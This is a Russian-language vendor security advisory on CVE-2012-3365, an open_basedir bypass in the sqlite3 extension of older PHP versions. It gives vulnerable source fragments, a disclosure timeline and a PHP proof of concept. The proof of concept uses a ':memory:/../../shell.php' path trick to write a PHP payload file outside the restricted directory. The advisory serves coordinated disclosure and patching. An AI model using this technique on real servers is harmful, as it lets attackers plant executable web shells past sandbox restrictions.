(PT-2012-14) Positive Technologies Security Advisory 
  
 Обход ограничений безопасности в PHP 
  
 
Уязвимое ПО
PHP 
  
 Версия: 5.4.4 и более ранняя; 5.3.14 и более ранняя
Ссылка: 
  
 http://php.net/
Рейтинг опасности
Уровень опасности: Средний 
  
 Воздействие: Обход ограничений безопасности 
  
 Вектор атаки: Удаленный
CVSS v2: 
  
 Base Score: 5.0 
  
 Vector: (AV:N/AC:L/Au:N/C:N/I:P/A:N) 
  
 
CVE: CVE-2012-3365
Описание программы
PHP (Hypertext Preprocessor) — скриптовый язык программирования общего назначения, часто используемый для разработки веб-приложений.
Описание уязвимости
Эксперты исследовательского центра Positive Research компании Positive Technologies обнаружили уязвимость "Обход ограничений безопасности" в приложении PHP.
В PHP 5.4.4/5.3.14 и более ранних версиях возможен обход директивы open_basedir из-за различий в проверках названия базы данных в PHP-расширении sqlite/sqlite3 и libsqlite. Возможно создание файла в формате базы данных SQLite за пределами open_basedir.
Уязвимость обнаружена в файле /ext/sqlite3/sqlite3.c. Уязвимый фрагмент кода:
PHP_METHOD(sqlite3, open) 
     
  
   { 
    
   ... 
    
   if (strncmp(filename, ":memory:", 8) != 0) { 
    
   ... 
    
   if (php_check_open_basedir(fullpath TSRMLS_CC)) { 
    
   ... 
    
   } 
    
   } else { 
    
   fullpath = estrdup(filename); 
    
   }
 
  
 Уязвимость обнаружена в файле /ext/sqlite3/libsqlite/sqlite3.c. Уязвимый фрагмент кода:
const int isMemdb = (zFilename && strcmp(zFilename, ":memory:")==0) || (isTempDb && sqlite3TempInMemory(db));
Пример эксплуатации 
  
 Выполнение данного PHP-кода приведет к созданию базы данных SQLite за пределами open_basedir. 
  
 <?php 
    
   mkdir(':memory:'); 
    
   $database = new SQLite3(":memory:/../../shell.php"); 
    
   $database->exec("CREATE TABLE foo (bar STRING)"); 
    
   $database->exec("INSERT INTO foo (bar) VALUES ('<?php phpinfo(); ?>')"); 
    
   $database->close(); 
    
   rmdir(':memory:'); 
    
   ?>
Решение
Установите последнюю версию приложения.
Статус уведомления
22.06.2012 - Производитель уведомлен 
  
 22.06.2012 - Производителю отправлены детали уязвимости 
  
 19.07.2012 - Производитель выпустил исправление 
  
 04.02.2013 - Публикация уязвимости 
  
 
Благодарности
Уязвимость обнаружил Сергей Бобров (Исследовательcкий центр Positive Research компании Positive Technologies)
Ссылки
http://www.securitylab.ru/lab/PT-2012-14
Список отчетов о ранее обнаруженных уязвимостях Positive Research:
http://www.ptsecurity.ru/lab/advisory/ 
  
 http://www.securitylab.ru/lab/ 
  
 
О Positive Technologies
Positive Technologies www.ptsecurity.ru - одна из ведущих российских компаний в области информационной безопасности.  
  
 Основные направления деятельности компании - разработка систем комплексного мониторинга информационной безопасности (XSpider, MaxPatrol); предоставление консалтинговых и сервисных услуг в области информационной безопасности; развитие специализированного портала Securitylab.ru.
Заказчиками Positive Technologies являются более 40 государственных учреждений, более 50 банков и финансовых структур, 20 телекоммуникационных компаний, более 40 промышленных предприятий, компании ИТ-индустрии, сервисные и ритейловые компании России, стран СНГ, Балтии, а также Великобритании, Германии, Голландии, Израиля, Ирана, Китая, Мексики, США, Таиланда, Турции, Эквадора, ЮАР, Японии.
Positive Technologies - это команда высококвалифицированных разработчиков, консультантов и экспертов, которые обладают большим практическим опытом, имеют профессиональные звания и сертификаты, являются членами международных организаций и активно участвуют в развитии отрасли.